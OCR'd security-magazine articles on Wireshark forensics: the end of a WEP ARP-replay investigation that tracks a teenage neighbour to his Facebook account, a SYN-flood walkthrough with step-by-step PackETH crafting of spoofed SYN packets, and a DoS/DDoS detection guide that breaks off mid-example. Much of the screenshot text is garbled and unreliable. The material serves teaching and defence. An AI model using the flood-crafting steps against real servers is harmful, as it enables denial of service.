Address Packets ~ Bytes Tx Packets Tx Bytes Rx Packets Rx Bytes

Broadcast 56 934 6411 707 0 0 56 934 6411707
| Tp-Li h2:C 34 - ] 1
Tp-LinkT_c3:81:d6 21 563 3 262 765 19946 3125206 1617 137559
SonyMobi_11:cc:79 1314 195358 646 A5 654 668 109 704
Apple_82:26:bd 1055 163118 598 95619 457 67 499
IPvdmcast_7f:ff:fa 975 395290 0 0 975 395 290
24:fd:52:03:49:29 812 29 910 587 58025 225 31 885
Apple_4e:4d:be 511 73073 278 39 754 233 33319

Figure 4. Endpoints

Oops seems like the unknown device TP link is the most active in here sending huge data, now this
analysis increases the level of confidence on the evidence that TP-LINK device adapter is a malicious
player on the network. The endpoints can be viewed by browsing to statistics tab and selecting End-
points in Wireshark.

ANALYZING THE SUSPECT
As we have seen above, up to this point we have valid proof against TP-LINK device behaving as the
malicious player. So, let's analyze its activity and see what the player behind this device was actually

trying to do:

Filter: |wlan.addr==f4:ec:38:8d:b2:9a

Il -~ .
I-.. Expression

MNo. Time Source Destination
20718 1046.839713000 Tp-LinkT_8d:b2:9a Tp-LinkT_c3:81:d6
20719 1046. 840039000 Tp-LinkT_8d:b2:9a (Ra)
20722 1046.841422000 Tp-LinkT_c3:81:d6 Tp-LinkT_8d:bZ2:59a
20726 1046.859500000 Tp-LinkT_8d:b2:9a Tp-LinkT_c3:81:d6
20727 1046.859805000 Tp-LinkT_8d:b2:9a (Ra)
20728 1046.860741000 Tp-LinkT_c3:81:d6 Tp-LinkT_8d:b2:9a
25898 1227. 034669000 Tp-LinkT_8d:b2:9a (Ra)
25899 1227.039549000 Tp-LinkT_8d:b2:9a Broadcast
25900 1227.039686000 Tp-LinkT_8d:bz:9a (Ra)
25903 1227.046013000 Tp-LinkT_&d:bZ2:9a Broadcast
25904 1227. 046152000 Tp-LinkT_8d:b2:9a (RA)
25905 1227.051001000 Tp-LinkT_8d:bZ2:9a Broadcast
25906 1227.051122000 Tp-LinkT_8d:b2:9a (Ra)
25909 1227.058702000 Tp-LinkT_8d:b2:9a Broadcast

Figure 5. Attack’s starting point

It seems that the device started the attack of sending the ARP type packets from the packet number
25897, as leading this points it’s purely data packets sent from this address to the AP. To confirm the sus-
pect sending data packets after this point let’s set a filter:

Filter: | wilan.addr==f4:ec:38:8d:b2:9a &8 wlan.fc.type==

Mo, Time

25897 1227.
258899 1227.
25903 1227.
25905 1227.
25900 1227.
25910 1227.

25913 1227

25915 1227.
25918 1227.
25920 1227.
25923 1227.
25925 1227.
25927 1227.

25929 1227

Source

03455 Tp-LinkT_8d:
03954 Tp-LinkT_8d:
04601 Tp-LinkT_8d:
05100 Tp-LinkT_8d:
05870 Tp-LinkT_8d:
05953 Tp-LinkT_&d:
. 06411 Tp-LinkT_8d:
06944 Tp-LinkT_8d:
07809 Tp-LinkT_8d:
08200 Tp-LinkT_8d:
08711 Tp-LinkT_8d:
09206 Tp-LinkT_&d:
09806 Tp-LinkT_8d:
.10306 Tp-LinkT_8d:

Figure 6. Attack in progress
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:9a
:9a
:9a
:9a
:9a
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Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
BEroadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
BEroadcast
Broadcast
Broadcast
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Here w1an. fc.type==2 defines the type ‘DATA packets. As we can see it’s clearly starting from 25897
so analyzing these packets we can see the attack starting at 6:45:50 pm.

Now also analyzing the last data frame sent from the malicious device we will see its 6:49:45 pm so the
total time of attacking the AP was calculated to be 3:55 seconds.

FINDING OUT THE REPLAYED PACKET
As we know that the attack initiated at packet number 25897, let's see what data packets were there be-
fore this packets which has been re-played by this malicious device. Let’s put the following filter:

wlan.fc.type==2 && frame.number<25897 && frame.number>25775 && wlan.addr==ff:ff:ff:ff:ff:ff

Now the filter is about showing the data packet whose destination address is fr:ff:fr:ff:ff: £f and is
before the frame from where the attack was initialized.

Filter: me.number«<25897 && frame.number>25775 &8& wEanaddr::ﬁ:ﬂ:ﬁ:ﬁ:iB E

Mo, Time Source Destinaticn
25877 1226.03520 Apple_B2:26:bd Broadcast

Figure 7. Broadcast Packet

So we now know that a data packet from the apple device was used to replay the packet and perform
an ARP REQUEST/REPLAY type attack. So let’s see what we have got up to this point:

Table 1. Results

No. of AP ]

No. Of Clients 4

No. Of Unknown clients 2
Replayed Data Packet Number 25887
Attack Started from Packet 25997
Difference of Packets 10

Time Difference Between packets 0.04 sec

Attack ended after 6:49:45

Attack started at 6:45:50

Attack Completed in 3 min 55 sec
Possible Attack ARP REQ/REP
MAC Address(Attacker) f4:ec:38:8d:b2:9a

Destination address: Tp-LinkT_c3:81:d6 (al0:f3:cl:c3:81:d6)
Source address: Tp-LinkT_8d:b2:9a (f4:ec:38:8d:b2:9a)
BSS Id: Tp-LinkT_c3:81:d6 (ald:f3:cl:c3:81:d6)

Figure 8. Mac Address (Attacker)

Next step is to find out which system was used to connect to the attacked AP after the successful attack
has been carried out. We can simply achieve this by finding out successfully associated client after the attack.

Filter: lpe==0>(01 8.8 wLan_mgt.ﬁxed.sta‘tus_code==0x0000]l < | Expression.

MNo, Time Source Destination
95269 1598 894924000 Tp L1n|<T C3 81 d6 2-’-1 ‘Fd 52 03 -’-19 eQ

~ Frame 95418: 102 bytes on wire (816 bits), 102 bytes captured (8
Interface 1d: ©
WTAP_EMNCAP: 23

Figure 9. Culprit Connected

® e



e

We have used 91679 here because we need to find the association after the last packet of the attack.
As you can see here the last packet of the attack was at:

The filter for this packet is:

Wlan.fc.type subtype==0x01 && wlan mgt.fixed.status code==0x0000 && frame.number>91679

Filter:  wlan.fc.type==2 && wlan.sa==f4:ec:38:8d:b2:9a

Mo. Time Source Destination

e e L L AR R

91667 1461.55567 Tp-LinkT_8d:b2:%9a Broadcast
91669 1461.62655 Tp-LinkT_8d:b2:9a Broadcast
91672 1461.65638 Tp-LinkT_8d:b2:9a Broadcast
91674 1461.65725 Tp-LinkT_8d:bZ2:9a Broadcast
91675 1461.67346. Tp-LinkT_8d:b2:9a Broadcast
91679 1461.75934 Tp-LinkT_8d:b2:9a Broadcast

F

Figure 10. Attack ending

So finally we got the address of the attacker machine which was used to connect to the AP therefore it is
24:fd:52:03:49:e9. And this concludes our discussion, now you can further decrypt this entire packet capture
file using Airdecap using the WEP key. And further look to see important information in regards to HTTP or
other protocols. This will help you find the attacker or may be his social media account in some cases.

CONCLUSION AND FURTHER ROADMAP

Resolving my friend’s problem we have found out who actually was attacking his AP, further analysis of
the same took me to the Facebook account of the kid trying to break in. And then we found out it was a
local school boy living down stairs on the first floor! Now, we have clearly seen how easy it was to ana-
lyze and find out what attack and actually who conducted it over the network, we have seen the attack
pertaining to WEP networks. Further scope of this article will enable you to carry out forensic analysis
onto WPA/WPA2 and enterprise security enabled networks. Learn security at the packet level, and then
you would be actually able to protect the attacks.

TIPS TO PREVENT WEP BASED ATTACKS
* Use Long Passwords which are hard to guess

+ Keep Your Network Broadcast SSID Hidden
» Try implementing WPA/WPAZ2 instead of WEP

TIPS WHILE SELECTING THE HARDWARE GLOSSARY

. . Wireless forensics
» Buy Cards Having High power - WPA
« Use a High Range Antenna, a common example is 9dbi LW
» Alfa cards are popular for wireless hacking so choose wisely . Wireshark

» Buy AirPcap for effective wireless forensics
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SYN-FLOOD ATTACK,
ANATOMY AND
COUNTERMEASURES

by Mubarak Altheeb

SYN-flood attack is a serious threat to web servers and has

been used to launch attacks against websites all around the
globe. Attackers can launch the attack with a spoofed source IP
address to prevent being detected. If you have a website for your
business, your server can be targeted by SYN-flood at any time.

What you will learn:

» This article describes how SYN-
flood attack is launched. Traffic of
the attack is captured at the vic-
tim server and further analyzed by
Wireshark. At the end, you will find
some countermeasures to miti-
gate SYN-flood attacks.

What you should know:

* In order to learn how this attack
works, you need to understand
how the TCP 3-way handshake
works. It is important to under-
stand this procedure to be able to
depict the full picture of the attack.
The 3-way handshake is one of
the steps that must be done when-
ever you browse a website. It ne-
gotiates a channel of conversation
between your computer and the
web server at the other side.

when you open up, for example, ABC webpage. The message tells

ABC'’s web server that you are willing to connect to it. Once ABC'’s serv-
er receives the message, it will reply to your computer by the second mes-
sage SYN-ACK (2) which means that the ABC’s server is welcoming you to
connect to it. At the same time, the server reserves a space in the session re-
quest bucket (backlog) for the session your computer is about to initiate. Now
the server is waiting for your computer to send the third message ACK (3) that
initiates the connection so you can browse ABC’s web page. The remaining
space in the backlog is for other web requests of other clients who might be
simultaneously trying to connect to the same web server. The backlog has a
limited space for SYN requests. When it is filled up, it accepts no more re-
quests. Hackers know how this procedure works. They use the procedure of
3-way handshake to attack web servers. They launch what is called a SYN-
flood attack against web servers. What | am about to explain is an experiment
that | completed in my LAN network on my own machines to illustrate how
this attack is done.

T he first message is SYN (1) in (Figure 1). It is sent by your computer

- [101416.102]
s |173.194.46.112| Comment

1 1
, SYM = =

0.001 @ - - s

0.000 . SYN.ACK :m@ Seq =0 Ack =1

0,000 @ - ACK e Seq=1Ack=1

L mn | 3 4 |

Figure 1. Normal TCP 3-way handshake message exchange between my computer and

Google’s website
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SYN-FLOOD TRAFFIC CAPTURED AND ANALYZED

This part is provided to help you understand the SYN-flood attack and how its traffic looks like when
captured by Wireshark. Note: SYN-flood is illegal if performed against any server that does not belong
to you or if you do not have a written permission from the owner of that server/network. This description
is for education purposes only.

To generate the needed traffic, two machines, can be virtual machines, were set up as a server and
a client. The client is the attacking machine and the server is the victim. Using a packet crafting tool in-
stalled on a Linux machine, a packet is prepared to be sent to the victim machine. The tool is called Pack-
ETH, an open source tool that allows you to build a packet of mostly any type and send it out. This tool
can be found at http://packeth.sourceforge.net.

The attacking packet is crafted using PackETH (Figure 2). Regular packet formatting is used. In this
situation, the packet is a TCP packet. It should include the Ethernet frame where the MAC address of
the sender and receiver are carried. Also, TCP packet includes the IP header carrying the IP address of
the source and destination along with other information about the packet. Then the TCP segment comes
encapsulated in the IP header. TCP segment has the source and destination port numbers, TCP flags,
sequence number, and other options related to the session such as window size.

In the Ethernet frame labeled with the number (1) in the screenshot, two MAC addresses are needed to
be set for the source and destination. In the IP datagram (2), the destination IP is the victim’s IP real ad-
dress and the source is a spoofed |IP address, meaning it is not a real source IP address. In the IP header
section, the protocol type is set to TCP which is type 6. In the TCP segment (3), use the destination port
number 80 which is a well known port for HTTP and used for web at the targeted server. The source port
is 2014, a random port number. You can use any port for the source from 0 to 65535.

The last thing is setting the flag in the TCP segment. That is the SYN message flag. This is the key ele-
ment of the packet building to make the SYN-flood traffic appears in Wireshark. After that, specify the Eth-
ernet interface for packet egress (4), where you pick the NIC card of your source machine and you must
specify that otherwise crafted packets will not be sent. Then click on the (Gen-b) button on the top left (5).

There you need to specify the
File_Help number of packets you want to
|| XN N BE S AT DO send to the victim server and
Builder | Gen-b | Gens Pcap Load Save Default Default nterface Send | Stop hOW Iong the delay between
packets in microseconds is
(6). Depending on the OS you
are using, the high number

€™ PackETH - ethernet packet generator

Destination| 33:33:33:EE:EEEE Select

T el © of packets can make the tool
siz1q  Etherype ox[o600 || eva crash. To avoid that, | suggest
using older stable versions of

Nextlowr — @ 1PW O W6 O Arppackat O User defined paylond Linux. In real attacks, hackers

will have to tune these num-
bers to match certain values to
Versionox (4] Header lengthox (5] T050x (00 | Select |  Totallength @ Ao identificationox 1234 launch a successful SYN-flood
® attack. They consider many
factors such as the server wait-
ing time for the acknowledg-
ment to come from the client.
Netlyer —> OUDP @ TP O KM O KMP O User defined payload Another factor is how much
space is allocated, at the target
P dita server, for the SYN requests.

Flags |2 | select Fragment offset 0 TTL 255 Protocel & TCP - Header cks Ox B auto

Source P |10.14.16.100 Select DestinationIP 10.14.16.101 Select Options Ox

©) The setting | am showing

is only for the purpose of this
Windowsize (8000 |  Checksum Ox B Auto  Urgent pointer |0 Options 0x article to show how the at-
tack works and to analyze the

. . , packets captured at the serv-
Figure 2. Crafting the attack packet with PackETH er side.

Builder window opened
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At the server machine, set up the target port and run Wireshark to capture the attack packets. In the
Packet contents, verify the source and destination MAC and IP addresses (7) (Figure 3). Notice that the
IP addresses are in hexadecimal format, source MAC and IP addresses are underlined by red color lines
and destinations are underlined by green color lines in the screenshot. To verify them, convert them to a
dotted decimal notation and sure enough they give the same IPs used in the packet builder (Source IP
is 10.14.16.100 and the destination IP address is 10.14.16.101). Once you hit the send button (8), the
attack begins.

@™ packeTH - ethernet packet generator

File Help
P P , I |.B 0
Builder | Ger-h | Gen-s || Pcap Interface Send | Stop
Mumber of packets to send ( 0- 1000000) ; Packet contents
333333ccecpececeee33 333308004500 Ethernet
1000 Infinite 0028 12 3440 00 FF 06 34 b7 Da e 10 64 Da O @ L‘T{'L'“
10 65 14 72 00 50 00 00 00 64 00 00 00 00 50 02 ox
1F 40 46 98 00 00
Delay belween packels (us) : @ 6862356C
50 Max speed Adjust paremeters while sending
Do nothing -
Timing Lype: Byte x offset Action Random 1Byte = | Range up to 2"32
@ absolute delay Relative delay Byte y offset Action Random 1Byte = Range -up ko 2432

Figure 3. Setting packet number and delay on PackETH

The SYN-flood packets captured at the server after the attack is launched (Figure 4). See the source
and destination IP addresses. The protocol type is TCP with SYN flag set. The screenshot of captured
packets shows the exact setting used when crafting the attack packet.

[l syn.fiood_server.peapng [Wireshark 188 (SVN Rev 45836 from /trunk- 18] — ’ -

file Edit View Go Capture Anslyze Statistics Telephony Tooks [Intemals Help
PEdGN CEXRE Aa+**eT2 ([FF acan FNB% 8

rmml ip.sre==10.14.16.100 and ip.dst= =10.14.16.101 | [+| Bpression... Clear Save

Mo, Time Lpurce Destination Pratacel] Length Info
240 0,000 10.14.16.100 10.14.16.101 TCP

Destination: IPvGmcast_33:ee:;ee;ee (33:33:33:ee:eeiee)
address: IPvemcasT_ll:ee:eetes (331:33:3%:eeieeieR)

..1. wews sens swes sens ® LG DITD Locally JIJmIIIIJlLrLd .qurL LY Luu is NOT the factory default)
T hire mesam addesre - ean -
0000 FEEEEREREITICTELT e we ee 33 33 33 OB 00 45 00 m 133, .E.
0010 00 28 12 34 40 G0 ff 06 33 b7 Da De 10 6d 0a Oe (.46 i ardis
0020 10 65 07 de 00 50 00 OO0 00 64 00 OO0 OO OO 50 02 e. . S B
0030 1f 40 53 2c 00 00 00 00 00 00 00 OO MBS ias wsns

Figure 4. Capturing the attack packets at the server by Wireshark

To look at the result of the attack, use Wireshark feature to show the SYN requests messages. Wire-
shark captured 50,500 SYN packets sent from the attacker to the server on port 80 (Figure 5). To view
that, click on Statistics tab and click on Conversations then choose the TCP tab. Then check the box next
to Limit to display filter to eliminate other traffic. The following filter (Figure 5) to show the messages sent
between the attacker and the victim.
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The filter allows you to view messages from the source IP address 10.14.16.100 to the destination IP ad-
dress 10.14.16.101 on port number 80 and protocols TCP or UDP. The filter will ignore the rest of traffic
that does not match.

ip.src==10.14.16.100 and ip.dst==10.14.16.101 and tcp.port==80 || udp.port==80

ilConversations: 3syn_flood_captured_client.pcapng | = | &l EY

| Ethernet: 1 | Fibre Channel | Fopi1| 1pva: 1] 1pv6 | 1px| nx7a | nee | Rsvp | scTAl TCP: 1] Token Ring | upe | use | wian

ITCP Conversations - Filter: ip.src==10.14.16.100 and ip.dst==10.14.16.101 I
Address A * Port A 4 AddressB 4 PortB 4 Packets 4 Bytes 4 Packets A—~B 41 Bytes A—B 1 Packets A—B 4 Bytes

101416100][2014] [T0T436101][E0 ] 50 500 |3 030 000 50500 3030000 0

7] MName resoluticn [¥] Limit to display fitter

Help I ’ Copy Follow Streaml [ Close

Figure 5. TCP conversations between the attacker and the server

The Graph Analysis of the TCP SYN flows sent from the attacker to the server (Figure 6). See the
source and destination IP addresses. To display that on Wireshark, click on Statistics tab and then Flow
Graph. Check the Displayed packets, TCP flow, and Standard source/destination addresses and then
click the OK button.

0000 {2014.:—-‘ Seq =0
0.000 mm%"’aﬂm Seq =0
0.000 mm%m Seq =0
0.001 - m% o Seq =0
0.000 mm%"‘:m Seq =0
0.000 mm%"‘:ﬂm Seq = 0
0.000 QQM:SY;N-':N Seq =0
0.000 el Seq =10
0.000 mm%ﬂ Seq =0
0.000 ﬂam:&-ﬁﬂm Seq =0
0.000 mm%m Seq =0
0.000 mm%_@m Seq = 0
0.000 mm%m Seq = 0
0.000 - m%.: e Seq =10

Figure 6. Graph analysis of TCP flows between the attacker and the server

By comparing the flows in (Figure 6) and the normal TCP 3-way handshake in (Figure 1), you can see
that the attacker never completed the 3-way handshake procedure. Instead, the attacker kept sending
SYN requests to the server. Using two filters in the IO Graph to display the amount of packets sent from
the attacker to the victim in a period of time (Figure 7). To display this window, click on Statistics tab, and
then click IO Graph. The filters used are:

Graph 2:
ip.src==10.14.16.100 and ip.dst==10.14.16.101
Graph 4:

tep.port==80 || udp.port==80
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- Wireshark IO Graphs: syn_flood_3_server.pcapng _':'__@ - 2@
— 10000
— 5000
T T T T T T T T T 0
0s 200s 400s
I [;
Graphs X Bxis

Graph 1| Color | Filter: Style: |Line w ||| Tick interval 10 sec |E|
Pixels per tick: 5 |E|

GlaphZ Color |Filter: | | ip.sre==10.14.16.100 and ip.d| Style: | Dot -

View as time of day

Filter: | | tcp.port == 80 || udp.port == Style: FBar - e
is
| Graph 4 ‘ Color | Filter: ‘ Style: |Line IEI Unit: Podketarck |E|
|Graph 5‘ |F1Iter:‘ Style: | Line IZI Scale: 10000 |E|
Smooth: |M.avg 4 |E|
I Help I I Copy I | Save | | Close |

Figure 7. /0 Graph on Wireshark

THE GOAL OF THIS ATTACK

The idea behind this attack is to keep the server’s backlog exhausted by half-open TCP connections and
to prevent it from serving legitimate TCP requests. This kind of attacking technique is known as a Denial-
of-Service attack. When the server’s backlog reaches maximum capacity with half-open requests, the
server starts to drop new SYN requests or it might overwrite the oldest session it has. The server reac-
tion can be different depending on many factors.

Attackers consider many things when they launch a SYN-flood attack. They start by probing the server
and observing the results to help them launch a successful attack. They want to know the server’s op-
erating system and the version of it. Also, they need to know the time the server waits after it sends a
SYN-ACK message to the client before the server drops the request. That will help the attackers to know
how long they need to wait before sending more SYN request. They want to know the size of the server’s
backlog. That will help them to manage the number of SYN messages they need to send. In addition to
that, the attackers have to make sure that the source IP addresses used to send SYN requests are un-
reachable and they will not send ACK messages to the server to establish a connection. They are usually
spoofed IP addresses to prevent detecting.

In reality, it is not easy to launch a successful SYN-flood attack because of the countermeasures imple-
mented to defend servers against it. However, attackers on the other side work harder to enhance their
attack techniques. They might try a hundred times before they succeed in one attack. Any server con-
nected to the web is in danger. Detecting and quickly responding to such attacks is a key to a successful
defense. SYN-flood attack has taken major websites down for a period of time. It can cause a business
interruption followed by money loss and customer dissatisfaction. Having some defenses against this at-
tack is important for any server connected to the Internet.

COUNTERMEASURES TO SYN-FLOOD ATTACK

The severity level of SYN-flood attack can be high especially when the targeted server runs mis-
sion critical services related to your business. There are many solutions that have been developed to
mitigate such attacks. The solutions provided below can help you to prevent or reduce the affect of
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SYN-flood attacks. If you are a system administrator, you can decide which solution will work better for
the systems in your premises. You can combine two or more solutions for multiple layers of defense.
Consulting a network security engineer can give you a better chance of choosing the best solution that
will not affect your system or network performance. Below are some mitigation controls for securing
your server against SYN-flood attacks.

* One solution is to block the source IP address of the SYN-flood attacker. To do that in iptables fire-
wall use the following rules:

iptables -A INPUT -i eth0O -s 10.14.16.100 -j DROP
iptables -A INPUT -i ethO -s 10.14.16.100 -j LOG -log-prefix ,Blocked IP address”

This solution is effective to block the attacker’s source IP address. Although, attackers often use
spoofed IP addresses, but it is better to block that IP address and then further investigate it. If the IP
address is a part of a known botnet or an IP that is not allocated, it should be in your blocked IP ad-
dresses permanently.

» Another countermeasure can be using a shorter SYN_RECYV timer, meaning that the server will re-
duce the time of waiting for the third message of the 3-way handshake. It will drop the SYN request
after the SYN_RECV is timed out. This solution is not so practical because it might cause problems
to legitimate clients with slow connections.

+ A third solution is to increase the backlog size to allow more requests. In the case of SYN-flood at-
tack, this solution can affect the performance of the server and the network which the server is at-
tached to.

» Another countermeasure is by using TCP cookies. This solution is implemented in Linux systems but
it has to be activated. To activate it use the following command:

Echo 1 > /proc/sys/net/ipv4/tcp syncookies

TCP-cookies is considered one of the best solutions to protect Linux-based web servers against SYN-
flood attack. When you enabile it, if a SYN request comes to the server, it does not allocate a space for
the session yet. Instead, it uses the source information like the IP address and port number and the TCP
sequence number to calculate a hash. The server then sends a SYN-ACK to the source and does not
wait for the ACK. When an ACK message comes, the server uses the same hashing algorithm to calcu-
late a hash with the information that came with the ACK. If the hash matches any of the previously calcu-
lated hash values, it creates a space for that connection. Otherwise it discards the message. This way,
the attacker will not be able to succeed because the server waits for the 3-way handshake to complete
in order to allocate a space for that session.

CONCLUSION

Any web server has to be connected to the Internet and as a result, it is considered by hackers as a low
hatnging fruit. Hackers have the time and tools to try million times to attack a web server. They try a tech-
nique and test it. If they don’t get the outcome they are looking for, they change the technique and try
again. You, as a web server owner, don’t have as much time to defend your server. You need a skilled
team with the right tools configured the right way to defend your server. Staying proactive and detecting
the attack quickly is very important to successfully mitigate it. This article is meant to educate the read-
ers about SYN-flood attack and help them to defend their web servers against it.
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NETWORK FORENSIC WITH WIRESHARK

DISCOVERING AND
ISOLATING DOS/DDOS
ATTACKS

by Yoram Orzach

Denial-of-Service (DoS) or Distributed Denial-of-Service (DDoS)
attacks are attempts to make a computing or network resource
unavailable to its users. There are various types of DoS/DDoS
attacks, some load the network to the point it is blocked for
applications traffic, some load servers to that point, and some are
more sophisticated and try to “confuse” the application servers
with bad data. Although there are various tools for detection
and prevention of these types of attacks, good old Wireshark
can also be used for this purpose. In this article we will see some
important features of Wireshark, were to place it for capturing
data, and how to use it to identify attack patterns.

* Types of DoS/DDoS attacks K . . der t t f . th hile Distrib
. Basic usage of Wireshark for net- work services in order to prevent users from using them, while Distrib-

uted Denial of Service (DDoS) is when multiple attackers, or a single
attacker through multiple nodes tries to do so. DoS/DDoS attacks can be

D enial of Service (DoS) is when a single attacker that attacks the net-

work analysis
* How to use Wireshark as a net-

work forensics tool divided into several major types that can be characterized by the resource
- DoS/DDoS pattems and how to | Under attack. All of them come to prevent network users from accessing the
discover them network resources.

* Network-based attacks: The first resource that can be attacked is the net-
* Basics and structure of data net- work itself. Here we have for example attacks like ICMP and TCP-SYN

works flooding, while in this category we can face regular packets that simply
 Basics of TCPAP intend to block the communications link or malicious packets like NULL
scans, Xmas scans and others. A communications link can be a WAN
connection, a server interface or even a WiFi network. The purpose of
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these types of attack is usually to block the communications channel with massive traffic so that the
real traffic will not have enough space over the link.

+ Server-based attacks: The second resource that can be attacked is the server itself. Attack on a
server can be performed by the massive consumption of server resources, in order to cause the
server to slow down to the point it will no longer serve its clients.

* Applications-based attacks: The third major category of attacks targets the applications running on
servers, for example database process, HTTP servers with mail servers, and so on.

* Network-devices based attacks: The last category that we will discuss are attacks on the communi-
cations infrastructure, for example attacks on routers in order to manipulate the routing tables, the
generating of fake MAC addresses to confuse the LAN switch, attacks on the organization DNS
servers and so on.

There are DoS/DDoS attacks that come to crash the resource, and there are attacks that come to slow
it down. In both cases the purpose is to deny the service from the end user. The difference is in the way
the attack works, as we will see later in this article.

PROTECTION METHODS

There are various types of devices that come to protect against DoS/DDoS attacks. These are gener-
ally called Intrusion detection Systems (IDS) or Intrusion Prevention Systems (IPS). You will see also
the term IDPS for Intrusion Detention and Prevention System. Some IDS/IPS systems are located in the
ISP network and others in your organization. Some common products are IDS/IPS software blades from
Checkpoint, DDOS Secure and other appliances from Juniper, F5 or Radware devices and many others.

Although IDS/IPS systems are quite efficient when protecting against attacks coming from the Internet,
they have their drawbacks:

+ IDS/IPS are not intended to protect the internal network from the spread of worms originating from
within the network, such as those coming from previously infected laptops that connect directly to
the internal network

* There are signature-based and flow-based IDS/IPS systems. The first type must be constantly up-
dated with signature files, while the second type identify significant tarffic changes that are not al-
ways the problem.

There are also other protection components like internal security systems, SNMP or Netflow/Jflow/Sflow
based monitoring systems and many others, that in cooperation can provide a reasonable protection.

In the test equipment and softwares category we have commercial softwares like NetWitness from
RSA, Security Analytics from Solera Networks and some others. All these are smart and expensive de-
vices and software's that analyses the data for us.

Wireshark, as a free tool is not sophisticated as some of the tools mentioned above, neither it shows
you colourful statistics, but with knowledge of networking and security mechanisms, it can be used to
solve majority of problems on your network, including DoS, DDoS and many more, and this is the pur-
pose of this article is to show some guidelines of how to do it.

BASIC USAGE OF WIRESHARK FOR NETWORK ANALYSIS

With Wireshark, the most common network analyzer in the market, we simply listen to the communica-
tions channel, capture the packets and present them. It has strong statistical tools for analyzing traffic
and traffic patterns, and a basic expert system that mostly analyze communications events like TCP/IP
issues, applications behavior and so on. To use Wireshark as a network forensics tool will be to imple-
ment your networking knowledge with the basic capabilities that Wireshark presents.

When starting to work with Wireshark, we have the main window that provides us with the packet list,
packet details and packet bytes. You can see Wireshark’s main window in the illustration bellow. In the
“packet list” pane we see all captured packets listed, in the “packet details” pane we see packets details
and in the “packet bytes” pane we see the actual bytes. Later we will see how to use these windows for
the analysis process.
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Figure 1. Wireshark main window

The first types of tools that can be used are the basic statistical tools; these are the tools under the sta-
tistics menu, as presented in the following illustration.

M AP to center 31-DEC-2013 — 00Lpcapng [Wireshark 1.10.6 (v1.10.6 from master-1.10)]
File Edit View Go Capture Analyze §tatistics| Telephony Tools [ntermals Help
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Comments Summary

Filter: Show address resolution pression... Clear Apply Save SIP RTP SDP IPv6
MNo. Time Sourcd Protocol Hierarchy Protocol Info )

7596 95.470811000 10.|® Conversations P'ITGMPv.Membership Report group 239
7597 95.473572000 10. Endpoints ICMP Echo (ping) request id=0x0
7598 95.475081000 10. Packet Lengths... TCP radmin-port > PowerAlert-ns
7599 95.475547000 10.} . 10Graph TCP radmin-port > 4806 [PSH, AC
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7602 95.546951000 10.| Endeointlst *| NBSS Session request, to AS-AD3<
7603  95.547445000 10. | ServiceResponse Time '] 7cp radmin-port > 4806 [PSH, AC

Figure 2. Basic statistics tools

With the statistics tools we will be able to see mostly flood patterns like SYN or ICMP, as we will see
later in the article.

The next important tool that can be used is the IO Graphs, with the assistance of display filters config-
ured in it, as displayed in the next illustration.

With the IO Graphs we can see various behaviours. In the illustration above we can see for example that
ten seconds after the start of capture, there were around 2500 TCP SYNs per second which is of course
a reason to look deeper to what has happened. In the filters fields in the lower part of the screen we con-
figure the filters, in his case tcp. flags.reset==1 in the second line and tcp. f1ags.syn==1 in the third line.

HOW TO USE WIRESHARK AS A NETWORK FORENSICS TOOL

Let’'s see what major security threats look like when using Wireshark. Since there are so many types of
DoS/DDoS attacks, | will try to focus on the most common ones, so we can view some examples of how
to use Wireshark for the purpose.

The first rule in network forensics, and that includes when you are looking for patterns that looks like
DoS/DDoS, is to look for unusual traffic. Unusual traffic can be traffic from unknown sources, massive
traffic over a link or to a specific server, frequent routing updates that you are not sure where they come
from, to many HTTP GETs or POSTs, DNS responses without the related queries and so on. You should
know the purpose of every packet in your network, because what you don’t know might crash it.
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Figure 3. Wireshark 10 Graphs

NETWORK-BASED DOS/DDOS ATTACKS
Well, this is the simplest one, and not only because | come from the networking area. The simple types
of network based DoS/DDoS attacks are just generators coming to block your communications line or
server’s interfaces. Like many types of problems, these problems will start with the users complaining
that their network becomes very slow. The steps to locate this problem are:

7
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+ Check what is exactly slow, and isolate the problem. Is it the entire network? All servers on a remote
location? Connection to the Internet?

* According to the answer to (1), connect Wireshark with port-mirror to the suspected resource. In
case the customer complains about slow access to remote server connect it with port-mirror to the
WAN connection, in case the Internet is slow port-mirror the connection to the Internet and so on.

* In the packet list window, check if you see to many ICMPs, TCP-SYNs or anything that looks like a
massive scan. You can see an example to an ICMP scan in the illustration bellow.

Ml Example 038 --- Ping worm attackcap [Wireshark 1.10.6 (v1.10.6 from master-1.10))
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&
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7 0.003964
0.004603
0.005315
10 0.008031
11  0.010144

Figure 4. Ping scan example
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* When a load-based DoS/DDoS attack takes place, you will usually see a straight line in the 10
Graph tool. This is an indication of an attack that blocks the communications line or generates load
in a fixed pattern. You can see an example for this in the illustration bellow.
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Figure 5. Ping scan on Wireshark 10 Graph

* The load-based attack can be ICMPs as illustrated, TCP-SYNs or any other traffic that is intended to
block the communications channel.

In the example above it was simply a worm on the organization’s remote sites (addresses that starts with
192.168, among them 192.168.110 in the illustration above). The worm spread to the entire network,
generating ICMP packets to random destinations, and therefor they were forwarded from the remote
branches to their router and to the communications links connecting them to the center, blocking them
for any other traffic.

Another example for network based attack is TCP-SYN scan that will have the same pattern, only with
TCP-SYN instead of ICMP. It is important to note that TCP-SYN scans can be DoS/DDoS attack, someone
trying to find TCP ports in order to break into it. In the second case you will see TCP-SYN requests, with no
response or with TCP-RST (Reset) response from the device under attack or the firewall before it.

Important note: Wireshark is not designed to work under heavy loads, and therefor when capturing high
bandwidth traffic (which is the pattern in some of the cases of DDoS) Wireshark will stop functioning. To
prevent it from happening, configure capture as follows:

* From the Capture menu, choose “Options”.

* “Wireshark: Capture Options" window will open

* Right in the middle of the window, choose the option “Use multiple files"

* Provide a file name

+ Configure the method you want to create the multiple files: by size or by capture time. Files will be
created starting with the filename you have configured, with a suffix 0001 for the first file, 0002 for
the second file and so on.

* You can also configure ring buffer of created a single file that stops capture automatically.

The “Wireshark: Capture options” is illustrated below.
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Figure 6. Configuring capture in multiple files

SERVER-BASED DOS/DDOS ATTACKS
In this section we have attacks that intend to slow down and block server resources. These resources

can be the server’s NIC, the server’'s CPU/RAM/Disk, the OS or software’s that runs on it.
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When a server becomes slow, connect Wireshark with port mirror to the server. Start capturing data,

and follow these steps:

* Look at the communications partners of data that goes in in out of the server, and look for unusu-
al traffic. Unusual patterns can be: addresses or TCP/UDP port numbers that you don’'t know. In the
example bellow the server IP address was 10.0.0.1, but when the customer complained about a very

slow server with a very slow Internet connection, | port-mirrored it, and this is what | got:

